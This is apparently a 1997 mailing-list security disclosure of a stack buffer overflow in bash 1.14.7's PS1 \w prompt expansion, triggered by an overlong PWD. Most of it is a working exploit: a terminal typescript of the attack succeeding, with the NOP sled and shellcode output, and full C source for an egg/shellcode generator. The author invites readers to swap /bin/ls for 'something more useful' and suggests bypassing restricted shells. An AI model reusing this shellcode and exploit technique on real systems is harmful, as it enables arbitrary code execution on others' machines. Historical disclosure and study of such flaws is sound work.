Buffer overflow in /bin/bash

Razvan Dragomirescu (drazvan@KAPPA.RO)
Thu, 21 Aug 1997 18:31:27 +0300

Hello again,

If this is old, I'm sorry but I wasn't able to find it elsewhere.

There is a buffer overflow condition in the way "bash" treats the expansi=
on of
the prompt line (as specified by PS1). I usually use something like

PS1=3D\h:\w\$

which is very nice. \h is the host name, \w is the working directory and =
\$ is
either '#' or '$', depending on your UID. The problem is with \w. It appe=
ars
it reads the current working directory from the PWD environment variable.
It then adds it to the prompt line, which I think has a fixed length,
somewhere around 1024 bytes. (Can anyone confirm this? I do not have the =
C
source. Yet.).

By writing past the end of this buffer, you can execute arbitrary code.

Take a look at this:

(The exploit code is heavily based on AlephOne's "Smashing the Stack for =
Fun
and Profit". I've changed the string "/bin/sh" to "/bin/ls".
A shell spawning another shell wouldn't do much magic :)
My comments start with ##).

--typescript--

## Some sysinfo first.
paul:~/2$ uname -a
Linux paul 2.0.29 #3 Wed Aug 6 01:50:05 GMT+2 1997 i486

paul:~/2$ bash -version
GNU bash, version 1.14.7(1)

## I've tested it on a 2.00 beta too and it works. If anyone has a newer
version, please let me know if it works.

paul:~/2$ pwd
/home/drazvan/2

## We'll get a file listing to compare it with the one at the bottom.
paul:~/2$ ls
eggo eggo.c shellcode.h smashsta.txt typescript

paul:~/2$ ./eggo
[ Buffer size: 2048 Egg size: 2048 Aligment: 0=
]
[ Address: 0xbffffb60 Offset: 0 =
]

## We'll change PS1 to include '\w'
bash$ export PS1=3D'\w:'

## You can see the working directory now (~/2). Now set the PWD variable.
~/2:export PWD=3D$BOF
## Kaboom....

sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
(...a few lines were suppressed)
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=BF: command not found
sh: =FB=FF=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90

=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90

=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=EB ^=89v 1=C0=88F =89F =B0 =89=F3=8DN =8DV =CD=801=DB=
=89=D8@=CD=80=E8=DC=FF=FF=FF/bin/ls: File name too long
eggo eggo.c shellcode.h smashsta.txt typescript

## Bingo! Bash just executed our ls! You can of course change /bin/ls to
something more useful.

paul:~/2$

--end of typescript--

The only problem with this is that I don't see many uses for this
overflow. "bash" is not a setuid program (I wish it were...). Maybe you
could bypass a restricted shell based on bash, or create
directories with very long names in order to get past the end of the
buffer. But I'm sure one of you will think of something useful to do with
it.

Now, here's the source for that "eggo" program you've seen:

--eggo.c--

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define NOP_SIZE 1
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 2048
#define DEFAULT_EGG_SIZE 2048

char nop[] =3D "\x90";
char shellcode[] =3D
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void usage(void);

void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=3DDEFAULT_OFFSET, bsize=3DDEFAULT_BUFFER_SIZE;
int i, n, m, c, align=3D0, eggsize=3DDEFAULT_EGG_SIZE;

while ((c =3D getopt(argc, argv, "a:b:e:o:")) !=3D EOF)
switch (c) {
case 'a':
align =3D atoi(optarg);
break;
case 'b':
bsize =3D atoi(optarg);
break;
case 'e':
eggsize =3D atoi(optarg);
break;
case 'o':
offset =3D atoi(optarg);
break;
case '?':
usage();
exit(0);
}

if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}

if (!(bof =3D malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg =3D malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr =3D get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr =3D (long *) bof;
for (i =3D 0; i < bsize; i+=3D4)
*(addr_ptr++) =3D addr;

ptr =3D egg;
for (i =3D 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=3DNOP_SIZE=
)
for (n =3D 0; n < NOP_SIZE; n++) {
m =3D (n + align) % NOP_SIZE;
*(ptr++) =3D nop[m];
}

for (i =3D 0; i < strlen(shellcode); i++)
*(ptr++) =3D shellcode[i];

bof[bsize - 1] =3D '\0';
egg[eggsize - 1] =3D '\0';

memcpy(egg,"EGG=3D",4);
putenv(egg);

memcpy(bof,"BOF=3D",4);
putenv(bof);
system("/bin/sh");
}

void usage(void) {
(void)fprintf(stderr,
"usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o
<offset>]\n");
}

--end of eggo.c--

My special thanks to Doru Petrescu <pdoru@kappa.ro> who first noticed the
problem while "cd"-ing to _very_ long paths for the fun of seeing bash
crash.

And of course to AlephOne for his wonderful "Smashing the Stack for Fun
and Profit". My exploit program is entirely based on his "eggshell" code.

Have fun and be good,
Razvan

--
Razvan Dragomirescu
drazvan@kappa.ro, drazvan@romania.ro, drazvan@roedu.net
Phone: +40-1-6866621
"Smile, tomorrow will be worse" (Murphy)